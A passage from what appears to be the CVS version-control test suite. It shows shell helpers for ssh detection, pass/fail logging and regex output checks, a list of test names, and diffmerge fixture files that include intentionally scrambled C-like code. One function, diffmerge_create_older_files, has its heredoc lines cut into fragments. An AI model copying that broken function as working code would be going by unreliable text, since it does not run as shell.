save_CVS_RSH=$CVS_RSH\n CVS_RSH=$1; export CVS_RSH\n return 0\n}\n\n# Find a usable SSH. When a usable ssh is found, set $host, $CVS_RSH, and\n# $save_CVS_RSH and return 0. Otherwise, set $skipreason and return 77.\ndepends_on_ssh ()\n{\n case \"$CVS_RSH\" in\n *ssh*|*putty*)\n tryssh=`Which $CVS_RSH`\n if [ ! -n \"$tryssh\" ]; then\n\tskipreason=\"Unable to find CVS_RSH=$CVS_RSH executable\"\n\treturn 77\n elif [ ! -x \"$tryssh\" ]; then\n\tskipreason=\"Unable to execute $tryssh program\"\n\treturn 77\n fi\n ;;\n *)\n # Look in the user's PATH for \"ssh\"\n tryssh=`Which ssh`\n if test ! -r \"$tryssh\"; then\n\tskipreason=\"Unable to find ssh program\"\n\treturn 77\n fi\n ;;\n esac\n\n depends_on_rsh \"$tryssh\"\n return $?\n}\n\npass ()\n{\n echo \"PASS: $1\" >>${LOGFILE}\n passed=`expr $passed + 1`\n}\n\n# Like skip(), but don't fail when $skipfail is set.\nskip_always ()\n{\n echo \"SKIP: $1${2+ ($2)}\" >>$LOGFILE\n skipped=`expr $skipped + 1`\n}\n\nskip ()\n{\n if $skipfail; then\n fail \"$1${2+ ($2)}\"\n else\n echo \"SKIP: $1${2+ ($2)}\" >>$LOGFILE\n fi\n skipped=`expr $skipped + 1`\n}\n\nwarn ()\n{\n if $skipfail; then\n fail \"$1${2+ ($2)}\"\n else\n echo \"WARNING: $1${2+ ($2)}\" >>$LOGFILE\n fi\n warnings=`expr $warnings + 1`\n}\n\n# Convenience function for skipping tests run only in local mode.\nlocalonly ()\n{\n skip_always $1 \"only tested in local mode\"\n}\n\nfail ()\n{\n echo \"FAIL: $1\" | tee -a ${LOGFILE}\n echo \"*** Please see the \\`TESTS' and \\`check.log' files for more information.\" >&2\n # This way the tester can go and see what remnants were left\n exit 1\n}\n\nverify_tmp_empty ()\n{\n # Test our temp directory for cvs-serv* directories and cvsXXXXXX temp\n # files. We would like to not leave any behind.\n if $remote && ls $TMPDIR/cvs-serv* >/dev/null 2>&1; then\n # A true value means ls found files/directories with these names.\n # Give the server some time to finish, then retry.\n sleep 1\n if ls $TMPDIR/cvs-serv* >/dev/null 2>&1; then\n warn \"$1\" \"Found cvs-serv* directories in $TMPDIR.\"\n # The above will exit if $skipfail\n rm -rf $TMPDIR/cvs-serv*\n fi\n fi\n if ls $TMPDIR/cvs?????? >/dev/null 2>&1; then\n # A true value means ls found files/directories with these names.\n warn \"$1\" \"Found cvsXXXXXX temp files in $TMPDIR.\"\n # The above will exit if $skipfail\n rm -f ls $TMPDIR/cvs??????\n fi\n}\n\n# Restore changes to CVSROOT admin files.\nrestore_adm ()\n{\n rm -rf $CVSROOT_DIRNAME/CVSROOT\n cp -Rp $TESTDIR/CVSROOT.save $CVSROOT_DIRNAME/CVSROOT\n}\n\n# See dotest and dotest_fail for explanation (this is the parts\n# of the implementation common to the two).\ndotest_internal ()\n{\n if $EXPR \"`cat ${TESTDIR}/dotest.tmp`\" : \"$3${ENDANCHOR}\" >/dev/null; then\n # Why, I hear you ask, do we write this to the logfile\n # even when the test passes? The reason is that the test\n # may give us the regexp which we were supposed to match,\n # but sometimes it may be useful to look at the exact\n # text which was output. For example, suppose one wants\n # to grep for a particular warning, and make _sure_ that\n # CVS never hits it (even in cases where the tests might\n # match it with .*). Or suppose one wants to see the exact\n # date format output in a certain case (where the test will\n # surely use a somewhat non-specific pattern).\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n pass \"$1\"\n verify_tmp_empty \"$1\"\n # expr can't distinguish between \"zero characters matched\" and \"no match\",\n # so special-case it.\n elif test -z \"$3\" && test ! -s ${TESTDIR}/dotest.tmp; then\n pass \"$1\"\n verify_tmp_empty \"$1\"\n elif test x\"$4\" != x; then\n if $EXPR \"`cat ${TESTDIR}/dotest.tmp`\" : \"$4${ENDANCHOR}\" >/dev/null; then\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n pass \"$1\"\n verify_tmp_empty \"$1\"\n else\n echo \"** expected: \" >>${LOGFILE}\n echo \"$3\" >>${LOGFILE}\n echo \"$3\" > ${TESTDIR}/dotest.ex1\n echo \"** or: \" >>${LOGFILE}\n echo \"$4\" >>${LOGFILE}\n echo \"$4\" > ${TESTDIR}/dotest.ex2\n echo \"** got: \" >>${LOGFILE}\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n fail \"$1\"\n fi\n else\n echo \"** expected: \" >>${LOGFILE}\n echo \"$3\" >>${LOGFILE}\n echo \"$3\" > ${TESTDIR}/dotest.exp\n echo \"** got: \" >>${LOGFILE}\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n fail \"$1\"\n fi\n}\n\ndotest_all_in_one ()\n{\n if $EXPR \"`cat ${TESTDIR}/dotest.tmp`\" : \\\n \"`cat ${TESTDIR}/dotest.exp`\" >/dev/null; then\n return 0\n fi\n return 1\n}\n\n# WARNING: this won't work with REs that match newlines....\n#\ndotest_line_by_line ()\n{\n line=1\n while [ $line -le `wc -l <${TESTDIR}/dotest.tmp` ] ; do\n if $EXPR \"`sed -n ${line}p ${TESTDIR}/dotest.tmp`\" : \\\n \"`sed -n ${line}p ${TESTDIR}/dotest.exp`\" >/dev/null; then\n :\n elif test -z \"`sed -n ${line}p ${TESTDIR}/dotest.tmp`\" &&\n test -z \"`sed -n ${line}p ${TESTDIR}/dotest.exp`\"; then\n :\n else\n echo \"Line $line:\" >> ${LOGFILE}\n echo \"**** expected: \" >>${LOGFILE}\n sed -n ${line}p ${TESTDIR}/dotest.exp >>${LOGFILE}\n echo \"**** got: \" >>${LOGFILE}\n sed -n ${line}p ${TESTDIR}/dotest.tmp >>${LOGFILE}\n unset line\n return 1\n fi\n line=`expr $line + 1`\n done\n unset line\n return 0\n}\n\n# If you are having trouble telling which line of a multi-line\n# expression is not being matched, replace calls to dotest_internal()\n# with calls to this function:\n#\ndotest_internal_debug ()\n{\n if test -z \"$3\"; then\n if test -s ${TESTDIR}/dotest.tmp; then\n echo \"** expected: \" >>${LOGFILE}\n echo \"$3\" >>${LOGFILE}\n echo \"$3\" > ${TESTDIR}/dotest.exp\n rm -f ${TESTDIR}/dotest.ex2\n echo \"** got: \" >>${LOGFILE}\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n fail \"$1\"\n else\n pass \"$1\"\n verify_tmp_empty \"$1\"\n fi\n else\n echo \"$3\" > ${TESTDIR}/dotest.exp\n if dotest_line_by_line \"$1\" \"$2\"; then\n pass \"$1\"\n verify_tmp_empty \"$1\"\n else\n if test x\"$4\" != x; then\n\tmv ${TESTDIR}/dotest.exp ${TESTDIR}/dotest.ex1\n\techo \"$4\" > ${TESTDIR}/dotest.exp\n\tif dotest_line_by_line \"$1\" \"$2\"; then\n\t pass \"$1\"\n\t verify_tmp_empty \"$1\"\n\telse\n\t mv ${TESTDIR}/dotest.exp ${TESTDIR}/dotest.ex2\n\t echo \"** expected: \" >>${LOGFILE}\n\t echo \"$3\" >>${LOGFILE}\n\t echo \"** or: \" >>${LOGFILE}\n\t echo \"$4\" >>${LOGFILE}\n\t echo \"** got: \" >>${LOGFILE}\n\t cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n\t fail \"$1\"\n\tfi\n else\n\techo \"** expected: \" >>${LOGFILE}\n\techo \"$3\" >>${LOGFILE}\n\techo \"** got: \" >>${LOGFILE}\n\tcat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n\tfail \"$1\"\n fi\n fi\n fi\n}\n\n# Usage:\n# dotest TESTNAME COMMAND OUTPUT [OUTPUT2]\n# TESTNAME is the name used in the log to identify the test.\n# COMMAND is the command to run; for the test to pass, it exits with\n# exitstatus zero.\n# OUTPUT is a regexp which is compared against the output (stdout and\n# stderr combined) from the test. It is anchored to the start and end\n# of the output, so should start or end with \".*\" if that is what is desired.\n# Trailing newlines are stripped from the command's actual output before\n# matching against OUTPUT.\n# If OUTPUT2 is specified and the output matches it, then it is also\n# a pass (partial workaround for the fact that some versions of expr\n# lack \\|).\ndotest ()\n{\n rm -f ${TESTDIR}/dotest.ex? 2>&1\n eval \"$2\" >${TESTDIR}/dotest.tmp 2>&1\n status=$?\n if test \"$status\" != 0; then\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n echo \"exit status was $status\" >>${LOGFILE}\n fail \"$1\"\n fi\n dotest_internal \"$@\"\n}\n\n# Like dotest except only 2 args and result must exactly match stdin\ndotest_lit ()\n{\n rm -f ${TESTDIR}/dotest.ex? 2>&1\n eval \"$2\" >${TESTDIR}/dotest.tmp 2>&1\n status=$?\n if test \"$status\" != 0; then\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n echo \"exit status was $status\" >>${LOGFILE}\n fail \"$1\"\n fi\n cat >${TESTDIR}/dotest.exp\n if cmp ${TESTDIR}/dotest.exp ${TESTDIR}/dotest.tmp >/dev/null 2>&1; then\n pass \"$1\"\n verify_tmp_empty \"$1\"\n else\n echo \"** expected: \" >>${LOGFILE}\n cat ${TESTDIR}/dotest.exp >>${LOGFILE}\n echo \"** got: \" >>${LOGFILE}\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n fail \"$1\"\n fi\n}\n\n# Like dotest except exitstatus should be nonzero.\ndotest_fail ()\n{\n rm -f ${TESTDIR}/dotest.ex? 2>&1\n eval \"$2\" >${TESTDIR}/dotest.tmp 2>&1\n status=$?\n if test \"$status\" = 0; then\n cat ${TESTDIR}/dotest.tmp >>${LOGFILE}\n echo \"exit status was $status\" >>${LOGFILE}\n fail \"$1\"\n fi\n dotest_internal \"$@\"\n}\n\n# Like dotest except output is sorted.\ndotest_sort ()\n{\n rm -f ${TESTDIR}/dotest.ex? 2>&1\n eval \"$2\" >${TESTDIR}/dotest.tmp1 2>&1\n status=$?\n if test \"$status\" != 0; then\n cat ${TESTDIR}/dotest.tmp1 >>${LOGFILE}\n echo \"exit status was $status\" >>${LOGFILE}\n fail \"$1\"\n fi\n ${TR} '\t' ' ' < ${TESTDIR}/dotest.tmp1 | sort > ${TESTDIR}/dotest.tmp\n dotest_internal \"$@\"\n}\n\n# A function for fetching the timestamp of a revison of a file\ngetrlogdate () {\n ${testcvs} -n rlog -N ${1+\"$@\"} |\n while read token value; do\n\tcase \"$token\" in\n\tdate:)\n\t echo $value | sed \"s,;.*,,\"\n\t break;\n ;;\n\tesac\n done\n}\n\n# Avoid picking up any stray .cvsrc, etc., from the user running the tests\nmkdir home\nHOME=${TESTDIR}/home; export HOME\n\n# Make sure this variable is not defined to anything that would\n# change the format of rcs dates. Otherwise people using e.g.,\n# RCSINIT=-zLT get lots of spurious failures.\nRCSINIT=; export RCSINIT\n\n# Remaining arguments are the names of tests to run.\n#\n# The testsuite is broken up into (hopefully manageably-sized)\n# independently runnable tests, so that one can quickly get a result\n# from a cvs or testsuite change, and to facilitate understanding the\n# tests.\n\nif test x\"$*\" = x; then\n\t# Basic/miscellaneous functionality\n\ttests=\"version basica basicb basicc basic1 deep basic2\"\n\ttests=\"${tests} parseroot parseroot2 files spacefiles commit-readonly\"\n\ttests=\"${tests} commit-add-missing\"\n\ttests=\"$tests add-restricted\"\n\ttests=\"${tests} status\"\n\t# Branching, tagging, removing, adding, multiple directories\n\ttests=\"${tests} rdiff rdiff-short\"\n\ttests=\"${tests} rdiff2 diff diffnl death death2 death-rtag\"\n\ttests=\"${tests} rm-update-message rmadd rmadd2 rmadd3 resurrection\"\n\ttests=\"${tests} dirs dirs2 branches branches2 tagc tagf \"\n\ttests=\"${tests} tag-log tag-space\"\n\ttests=\"${tests} rcslib multibranch import importb importc import-CVS\"\n\ttests=\"$tests import-quirks\"\n\ttests=\"${tests} update-p import-after-initial branch-after-import\"\n\ttests=\"${tests} join join2 join3 join4 join5 join6 join7 join8 join9\"\n\ttests=\"${tests} join-readonly-conflict join-admin join-admin-2\"\n\ttests=\"${tests} join-rm\"\n\ttests=\"${tests} new newb conflicts conflicts2 conflicts3 conflicts4\"\n\ttests=\"${tests} clean\"\n\t# Checking out various places (modules, checkout -d, &c)\n\ttests=\"${tests} modules modules2 modules3 modules4 modules5 modules6\"\n\ttests=\"${tests} modules7 mkmodules co-d\"\n\ttests=\"${tests} cvsadm emptydir abspath abspath2 toplevel toplevel2\"\n tests=\"${tests} rstar-toplevel trailingslashes checkout_repository\"\n\t# Log messages, error messages.\n\ttests=\"${tests} mflag editor errmsg1 errmsg2 adderrmsg opterrmsg\"\n\t# Watches, binary files, history browsing, &c.\n\ttests=\"${tests} devcom devcom2 devcom3 watch4 watch5 watch6\"\n\ttests=\"${tests} unedit-without-baserev\"\n\ttests=\"${tests} ignore ignore-on-branch binfiles binfiles2 binfiles3\"\n\ttests=\"${tests} mcopy binwrap binwrap2\"\n\ttests=\"${tests} binwrap3 mwrap info taginfo config\"\n\ttests=\"${tests} serverpatch log log2 logopt ann ann-id\"\n\t# Repository Storage (RCS file format, CVS lock files, creating\n\t# a repository without \"cvs init\", &c).\n\ttests=\"${tests} crerepos crerepos-extssh rcs rcs2 rcs3 rcs4 rcs5 rcs6\"\n\ttests=\"$tests lockfiles backuprecover\"\n\ttests=\"${tests} sshstdio\"\n\t# More history browsing, &c.\n\ttests=\"${tests} history\"\n\ttests=\"${tests} big modes modes2 modes3 stamps\"\n\t# PreservePermissions stuff: permissions, symlinks et al.\n\t# tests=\"${tests} perms symlinks symlinks2 hardlinks\"\n\t# More tag and branch tests, keywords.\n\ttests=\"${tests} sticky keyword keywordlog keywordname keyword2\"\n\ttests=\"${tests} head tagdate multibranch2 tag8k\"\n\t# \"cvs admin\", reserved checkouts.\n\ttests=\"${tests} admin reserved\"\n\t# Nuts and bolts of diffing/merging (diff library, &c)\n\ttests=\"${tests} diffmerge1 diffmerge2\"\n\t# Release of multiple directories\n\ttests=\"${tests} release\"\n\ttests=\"${tests} recase\"\n\t# Multiple root directories and low-level protocol tests.\n\ttests=\"${tests} multiroot multiroot2 multiroot3 multiroot4\"\n\ttests=\"$tests rmroot reposmv pserver server server2 server3\"\n\ttests=\"$tests client client2\"\n\ttests=\"${tests} dottedroot fork commit-d\"\nelse\n\ttests=\"$*\"\nfi\n\n# Now check the -f argument for validity.\nif test -n \"$fromtest\"; then\n\t# Don't allow spaces - they are our delimiters in tests\n\tcount=0\n\tfor sub in $fromtest; do\n\t count=`expr $count + 1`\n\tdone\n\tif test $count != 1; then\n\t\techo \"No such test \\`$fromtest'.\" >&2\n\t\texit 2\n\tfi\n\t# make sure it is in $tests\n\tcase \" $tests \" in\n\t\t*\" $fromtest \"*)\n\t\t\t;;\n\t\t*)\n\t\t\techo \"No such test \\`$fromtest'.\" >&2\n\t\t\texit 2\n\t\t\t;;\n\tesac\nfi\n\n\n\n# a simple function to compare directory contents\n#\n# Returns: 0 for same, 1 for different\n#\ndirectory_cmp ()\n{\n\tOLDPWD=`pwd`\n\tDIR_1=$1\n\tDIR_2=$2\n\n\tcd $DIR_1\n\tfind . -print | fgrep -v /CVS | sort > $TESTDIR/dc$$d1\n\n\t# go back where we were to avoid symlink hell...\n\tcd $OLDPWD\n\tcd $DIR_2\n\tfind . -print | fgrep -v /CVS | sort > $TESTDIR/dc$$d2\n\n\tif diff $TESTDIR/dc$$d1 $TESTDIR/dc$$d2 >/dev/null 2>&1\n\tthen\n\t\t:\n\telse\n\t\treturn 1\n\tfi\n\tcd $OLDPWD\n\twhile read a\n\tdo\n\t\tif test -f $DIR_1/\"$a\" ; then\n\t\t\tcmp -s $DIR_1/\"$a\" $DIR_2/\"$a\"\n\t\t\tif test $? -ne 0 ; then\n\t\t\t\treturn 1\n\t\t\tfi\n\t\tfi\n\tdone < $TESTDIR/dc$$d1\n\trm -f $TESTDIR/dc$$*\n\treturn 0\n}\n\n\n\n#\n# The following 4 functions are used by the diffmerge1 test case. They set up,\n# respectively, the four versions of the files necessary:\n#\n#\t1. Ancestor revisions.\n#\t2. \"Your\" changes.\n#\t3. \"My\" changes.\n#\t4. Expected merge result.\n#\n\n# Create ancestor revisions for diffmerge1\ndiffmerge_create_older_files() {\n\t # This test case was supplied by :\n\t cat >testcase01 <:\n\t cat >testcase02 <son who also wrote the\n\t # patch which lets CVS correctly handle this and several other cases:\n\t cat >testcase03 <:\n\t cat >testcase04 <:\n\t cat >testcase05 <:\n\t cat >testcase06 < still thought it would\n\t # be good to test it anyway:\n\t cat >testcase07 <:\n\t cat >testcase08 <. Note that I do not\n\t # think cvs has ever failed with this case, but I include it anyway,\n\t # since I think it is a hard case. It is hard because 's\n\t # fmerge utility fails on it:\n\t cat >testcase09 < and simplified by Jacob\n\t # Burckhardt:\n\t cat >testcase10 <testcase01 <<\\EOF\n// Button.java\n\npackage random.application;\n\nimport random.util.*;\n\npublic class Button\n{\n /* Instantiates a Button with origin (0, 0) and zero width and height.\n * You must call an initializer method to properly initialize the Button.\n */\n public Button ()\n {\n super ();\n\n _titleColor = Color.black;\n _disabledTitleColor = Color.gray;\n _titleFont = Font.defaultFont ();\n }\n}\nEOF\n\n\t cat >testcase02 <<\\EOF\ny\na\na\na\na\nEOF\n\n\t cat >testcase03 <<\\EOF\nx\ns\na\nb\ns\nb\ns\ny\nEOF\n\n\t cat >testcase04 <<\\EOF\ns\nm\ns\nv\ns\nm\ns\nEOF\n\n\t cat >testcase05 <<\\EOF\nv\ns\nm\ns\ns\ns\ns\ns\ns\ns\ns\ns\ns\nv\nEOF\n\n\t # Test case 6 and test case 7 both use the same input files, but they\n\t # order the input files differently. In one case, a certain file is\n\t # used as the older file, but in the other test case, that same file\n\t # is used as the file which has changes. I could have put echo\n\t # commands here, but since the echo lines would be the same as those\n\t # in the previous function, I decided to save space and avoid repeating\n\t # several lines of code. Instead, I merely swap the files:\n\t mv testcase07 tmp\n\t mv testcase06 testcase07\n\t mv tmp testcase06\n\n\t # Make the date newer so that cvs thinks that the files are changed:\n\t touch testcase06 testcase07\n\n\t cat >testcase08 <<\\EOF\nno\nchanges\nhere\n\nFirst change has now added this in.\n\n no\n changes\n here\n\nSecond change will change it here.\n\n no\n changes\n here\n\nBoth changes move this line to the end of the file.\nEOF\n\n\t cat >testcase09 <<\\EOF\n\nm\na\n{\n}\nb\n{\n}\nc\n{\n}\nEOF\n\n\t cat >testcase10 <<\\EOF\n\n fV ( BzQkV_URYYfYg ) (*jfle_Uecopdk)[0].jfle_Uecopd_KRLIep = ZpfgfYal_jUK;\n\n petRpY ( MtatRk );\n fV ( MtatRk != Zy ) UDTXUK_DUUZU ( BGKT_ZFDK_qjT_HGTG );\n\n fV ( jfle_Uecopd_KRLIep < 16 )\n {\n MtatRk = Uead_Ktz_qjT_jfle_Uecopd ( jfle_Uecopd_KRLIep, (uofd*)nRVVep );\n }\n elke\n {\n MtatRk = ZreY_GttpfIRte_MtpeaL ( qjT_jfle_Uecopdk, qjT_jfle_Uecopd_BoRYt, HGTG_TvFD, KXbb, KXbb, &acI );\n fV ( MtatRk != Zy ) UDTXUK_DUUZU ( BGKT_ZFDK_qjT_HGTG );\n\n MtatRk = MQfr_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_KRLIep * jfle_Uecopd_MfJe_fY_nEtek );\n OjZy MtatRk = Uead_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_MfJe_fY_nEtek, nRVVep );\n\n Bloke_GttpfIRte_MtpeaL ( &acI );\nMTGTXM Uead_Ktz_qjT_jfle_Uecopd ( fYt Y, uofd *nRVVep )\n{\nMTGTXM MtatRk = Zy;\n\n fV ( Y < 16 )\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n Y * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n elke\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtqfppHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n ( Y - 16 ) * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n\n petRpY ( MtatRk );\n\n}\n\n\n/****************************************************************************\n* *\n* Uead Mectopk ( Uelatfue to tze cRppeYt raptftfoY ) *\n* *\n****************************************************************************/\n\nMTGTXM Uead_Mectopk ( RfYt64 Mtapt_Mectop, RfYt64 KRL_Mectopk, uofd *nRVVep )\n{\nMTGTXM MtatRk = Zy;\n\n MtatRk = Uead_HfkQ ( FaptftfoY_TaIle.Uelatfue_Mectop + Mtapt_Mectop, KRL_Mectopk, nRVVep );\n\n petRpY ( MtatRk );\n\n}\n HfkQipfte ( waYdle, /* waYdle */\n waYdleFok, /* ZVVket VpoL ktapt oV dfkQ */\n (coYkt RfYt8*) nRVVep, /* nRVVep */\n 0, /* MRrepVlRoRk KfxoYfkL */\n beYgtz /* nEtek to Apfte */\n );\n\n petRpY ( Zy );\n}\n\nEOF\n}\n\n# Create \"my\" revisions for diffmerge1\ndiffmerge_create_my_files() {\n # My working copy still has the Button() method, but I\n\t # comment out some code at the top of the class.\n\t cat >testcase01 <<\\EOF\n// Button.java\n\npackage random.application;\n\nimport random.util.*;\n\npublic class Button\n{\n /* Instantiates a Button with origin (0, 0) and zero width and height.\n * You must call an initializer method to properly initialize the Button.\n */\n public Button ()\n {\n super ();\n\n // _titleColor = Color.black;\n // _disabledTitleColor = Color.gray;\n // _titleFont = Font.defaultFont ();\n }\n\n /* Convenience constructor for instantiating a Button with\n * bounds x, y, width, and height. Equivalent to\n * foo = new Button ();\n * foo.init (x, y, width, height);\n */\n public Button (int x, int y, int width, int height)\n {\n this ();\n init (x, y, width, height);\n }\n}\nEOF\n\n\t cat >testcase02 <<\\EOF\na\na\na\na\nm\nEOF\n\n\t cat >testcase03 <<\\EOF\nx\ns\nc\ns\nb\ns\ny\nEOF\n\n\t cat >testcase04 <<\\EOF\nv\ns\nx\nm\nm\nx\ns\nv\ns\nx\nm\nm\nx\ns\nv\nEOF\n\n\t # Note that in test case 5, there are no changes in the \"mine\"\n\t # section, which explains why there is no command here which writes to\n\t # file testcase05.\n\n\t # no changes for testcase06\n\n\t # The two branches make the same changes:\n\t cp ../yours/testcase07 .\n\n\t cat >testcase08 <<\\EOF\nno\nchanges\nhere\n\nFirst change will delete this line.\n\nFirst change will also delete this line.\n\n no\n changes\n here\n\nSecond change has now changed it here.\n\n no\n changes\n here\n\nBoth changes move this line to the end of the file.\nEOF\n\n\t cat >testcase09 <<\\EOF\nm\na\n{\n}\nb\n{\n}\nc\n{\n}\nEOF\n\n\t cat >testcase10 <<\\EOF\n\n petRpY ( MtatRk );\n fV ( MtatRk != Zy ) UDTXUK_DUUZU ( BGKT_ZFDK_qjT_HGTG );\n\n MtatRk = MQfr_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_KRLIep * jfle_Uecopd_MfJe_fY_nEtek );\n OjZy MtatRk = Uead_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_MfJe_fY_nEtek, nRVVep );\n\n Bloke_GttpfIRte_MtpeaL ( &acI );\nMTGTXM Uead_Ktz_qjT_jfle_Uecopd ( fYt Y, uofd *nRVVep )\n{\n fV ( Y < 16 )\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n Y * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n elke\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtqfppHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n ( Y - 16 ) * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n\n}\n\n\n/****************************************************************************\n* *\n* Uead Mectopk ( Uelatfue to tze cRppeYt raptftfoY ) *\n* *\n****************************************************************************/\n\nMTGTXM Uead_Mectopk ( RfYt64 Mtapt_Mectop, RfYt64 KRL_Mectopk, uofd *nRVVep )\n{\nMTGTXM MtatRk = Zy;\n\n MtatRk = Uead_HfkQ ( FaptftfoY_TaIle.Uelatfue_Mectop + Mtapt_Mectop, KRL_Mectopk, nRVVep );\n\n petRpY ( MtatRk );\n\n}\n HfkQipfte ( waYdle, /* waYdle */\n waYdleFok, /* ZVVket VpoL ktapt oV dfkQ */\n (coYkt RfYt8*) nRVVep, /* nRVVep */\n beYgtz /* nEtek to Apfte */\n );\n\n petRpY ( Zy );\n}\n\nEOF\n}\n\n# Create expected results of merge for diffmerge1\ndiffmerge_create_expected_files() {\n\t cat >testcase01 <<\\EOF\n// Button.java\n\npackage random.application;\n\nimport random.util.*;\n\npublic class Button\n{\n /* Instantiates a Button with origin (0, 0) and zero width and height.\n * You must call an initializer method to properly initialize the Button.\n */\n public Button ()\n {\n super ();\n\n // _titleColor = Color.black;\n // _disabledTitleColor = Color.gray;\n // _titleFont = Font.defaultFont ();\n }\n}\nEOF\n\n\t cat >testcase02 <<\\EOF\ny\na\na\na\nm\nEOF\n\n\t cat >testcase03 <<\\EOF\nx\ns\nc\ns\nb\ns\nb\ns\ny\nEOF\n\n\t cat >testcase04 <<\\EOF\nv\ns\nm\ns\nv\ns\nm\ns\nv\nEOF\n\n\t # Since there are no changes in the \"mine\" section, just take exactly\n\t # the version in the \"yours\" section:\n\t cp ../yours/testcase05 .\n\n\t cp ../yours/testcase06 .\n\n\t # Since the two branches make the same changes, the result should be\n\t # the same as both branches. Here, I happen to pick yours to copy from,\n\t # but I could have also picked mine, since the source of the copy is\n\t # the same in either case. However, the mine has already been\n\t # altered by the update command, so don't use it. Instead, use the\n\t # yours section which has not had an update on it and so is unchanged:\n\t cp ../yours/testcase07 .\n\n\t cat >testcase08 <<\\EOF\nno\nchanges\nhere\n\nFirst change has now added this in.\n\n no\n changes\n here\n\nSecond change has now changed it here.\n\n no\n changes\n here\n\nBoth changes move this line to the end of the file.\nEOF\n\n\t cat >testcase09 <<\\EOF\n\nm\na\n{\n}\nb\n{\n}\nc\n{\n}\nEOF\n\n\t cat >testcase10 <<\\EOF\n\n fV ( BzQkV_URYYfYg ) (*jfle_Uecopdk)[0].jfle_Uecopd_KRLIep = ZpfgfYal_jUK;\n\n petRpY ( MtatRk );\n fV ( MtatRk != Zy ) UDTXUK_DUUZU ( BGKT_ZFDK_qjT_HGTG );\n\n fV ( jfle_Uecopd_KRLIep < 16 )\n {\n MtatRk = Uead_Ktz_qjT_jfle_Uecopd ( jfle_Uecopd_KRLIep, (uofd*)nRVVep );\n }\n elke\n {\n MtatRk = ZreY_GttpfIRte_MtpeaL ( qjT_jfle_Uecopdk, qjT_jfle_Uecopd_BoRYt, HGTG_TvFD, KXbb, KXbb, &acI );\n fV ( MtatRk != Zy ) UDTXUK_DUUZU ( BGKT_ZFDK_qjT_HGTG );\n\n MtatRk = MQfr_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_KRLIep * jfle_Uecopd_MfJe_fY_nEtek );\n OjZy MtatRk = Uead_GttpfIRte_MtpeaL ( &acI, jfle_Uecopd_MfJe_fY_nEtek, nRVVep );\n\n Bloke_GttpfIRte_MtpeaL ( &acI );\nMTGTXM Uead_Ktz_qjT_jfle_Uecopd ( fYt Y, uofd *nRVVep )\n{\nMTGTXM MtatRk = Zy;\n\n fV ( Y < 16 )\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n Y * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n elke\n {\n petRpY ( Uead_Mectopk ( noot_Uecopd.qVtqfppHatabcY0 * noot_Uecopd.MectopkFepBlRktep +\n ( Y - 16 ) * jfle_Uecopd_MfJe_fY_Mectopk,\n jfle_Uecopd_MfJe_fY_Mectopk,\n nRVVep ) );\n }\n\n petRpY ( MtatRk );\n\n}\n\n\n/****************************************************************************\n* *\n* Uead Mectopk ( Uelatfue to tze cRppeYt raptftfoY ) *\n* *\n****************************************************************************/\n\nMTGTXM Uead_Mectopk ( RfYt64 Mtapt_Mectop, RfYt64 KRL_Mectopk, uofd *nRVVep )\n{\nMTGTXM MtatRk = Zy;\n\n MtatRk = Uead_HfkQ ( FaptftfoY_TaIle.Uelatfue_Mectop + Mtapt_Mectop, KRL_Mectopk, nRVVep );\n\n petRpY ( MtatRk );\n\n}\n HfkQipfte ( waYdle, /* waYdle */\n waYdleFok, /* ZVVket VpoL ktapt oV dfkQ */\n (coYkt RfYt8*) nRVVep, /* nRVVep */\n beYgtz /* nEtek to Apfte */\n );\n\n petRpY ( Zy );\n}\n\nEOF\n}\n\n\n\n# Echo a new CVSROOT based on $1, $remote, and $remotehost\nnewroot() {\n if $remote; then\n if test -n \"$remotehost\"; then\n echo :ext:$remotehost$1\n else\n echo :fork:$1\n fi\n else\n echo $1\n fi\n}\n\n\n\n# Set up CVSROOT (the crerepos tests will test operating without CVSROOT set).\n#\n# Currently we test :fork: and :ext: (see crerepos test). There is a\n# known difference between the two in modes-15 (see comments there).\n#\n# :ext: can be tested against a remote machine if:\n#\n# 1. $remotehost is set using the `-h' option to this script.\n# 2. ${CVS_RSH=rsh} $remotehost works.\n# 3. The path to $TESTDIR is the same on both machines (symlinks are okay)\n# 4. The path to $testcvs is the same on both machines (symlinks are okay)\n# or $CVS_SERVER is overridden in this script's environment to point to\n# a working CVS exectuable on the remote machine.\n#\n# Testing :pserver: would be hard (inetd issues). (How about using tcpserver\n# and some high port number? DRP)\n\n# Allow CVS_SERVER to be overridden. This facilitates constructs like\n# testing a local case-insensitive client against a remote case\n# sensitive server and visa versa.\n: ${CVS_SERVER=$testcvs}; export CVS_SERVER\n\n# Use a name which will be 